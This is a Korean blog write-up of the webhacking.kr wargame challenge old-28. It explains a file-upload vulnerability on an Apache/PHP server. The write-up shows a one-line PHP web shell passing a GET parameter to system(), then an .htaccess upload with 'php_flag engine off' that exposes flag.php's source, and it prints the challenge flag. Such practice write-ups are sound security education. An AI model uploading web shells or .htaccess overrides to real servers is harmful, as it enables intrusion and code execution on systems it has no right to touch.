[webhacking.kr] old-28 Write-Up

· omacs's blog

#writeup #wargame #webhacking.kr

# Contents

  1. Problem Description
  2. Problme Analysis and Exploit
  3. References

# Problem Description

Old-28 문제는 다음과 같이 제시된다[1]:

Mission : read ./upload/2jU0iFoVi7VX/flag.php
your file will be upload at ./upload/2jU0iFoVi7VX/
파일 선택:            [제출]
 1<html>
 2<head>
 3<title>Challenge 28</title>
 4</head>
 5<body>
 6<hr>
 7Mission : read <a href=./upload/2jU0iFoVi7VX/flag.php>./upload/2jU0iFoVi7VX/flag.php</a><br>your file will be upload at <strong>./upload/2jU0iFoVi7VX/</strong><br>
 8
 9<hr>
10<form method=post enctype="multipart/form-data" action=index.php>
11<input type=file name=upfile><input type=submit>
12</form>
13</body>
14</html>

# Problem Analysis

상기에 제시된 문제를 살펴보면, 파일을 업로드할 수 있고 업로드된 파일은 "./upload/2jU0iFoVi7VX/"에 위치함을 알 수 있다 (업로드 경로는 달라질 수 있음에 주의하라). 이로부터 파일 업로드 취약점을 이용해야 함을 생각해볼 수 있다.

이에 다음과 같은 PHP 파일을 업로드한 후에

1<?php
2system($_GET['cmd']);
3?>

접근해보면 다음과 같이 출력되면서 파일이 실행되지 않는다:

?php
system($_GET['cmd']);
?>

이로부터 작거나 같은 부등호 문자 (less than sign)를 서버에서 필터링함을 유추해볼 수 있다. 그럼 어떤 파일을 업로드해야 할까?

다시 문제를 좀 더 분석해보면, 다음과 같은 에러 메시지를 통해 이 문제의 환경이 Apache 서버임을 알 수 있다:

Not Found
The requested URL /upload/2jU0iFoVi7VX/ex was not found on this server.

Apache/2.4.29 (Ubuntu) Server at webhacking.kr Port 10002

그리고 Apache 서버는 서버의 특정 디렉토리에 대한 설정 파일로 .htaccess를 제시한다. 이때, 이 파일의 설정 값으로 기존 값을 덮어쓸 수 있으며, PHP 파일에 접근하였을 때 실행하는 것이 아닌 코드를 보여주는 옵션도 존재한다. 즉, 굳이 스크립트 파일을 업로드해서 실행하지 않더라도 flag.php 파일의 내용을 알 수 있다. 따라서 다음과 같이 .htaccess 파일을 작성해서 업로드하고

php_flag engine off

flag.php에 접근하면 다음과 같이 문제가 풀린다[2, 3, 4]:

1<?php
2  $flag="FLAG{easy_peasy_apachy}";
3?>

# References

  1. "old-28". [Online]. Available: http://webhacking.kr:10002/, [Accessed Feb. 24, 2024].
  2. H232C, "8. 업로드 공격 우회". [Online]. Available: https://h232ch.tistory.com/37, [Accessed Feb. 24, 2024].
  3. "설정파일", APACHE. [Online]. Available: https://httpd.apache.org/docs/2.4/configuring.html, [Accessed Feb. 24, 2024].
  4. "Runtime Configuration," [Online]. Available: https://www.php.net/manual/en/apache.configuration.php, [Accessed Feb. 24, 2024].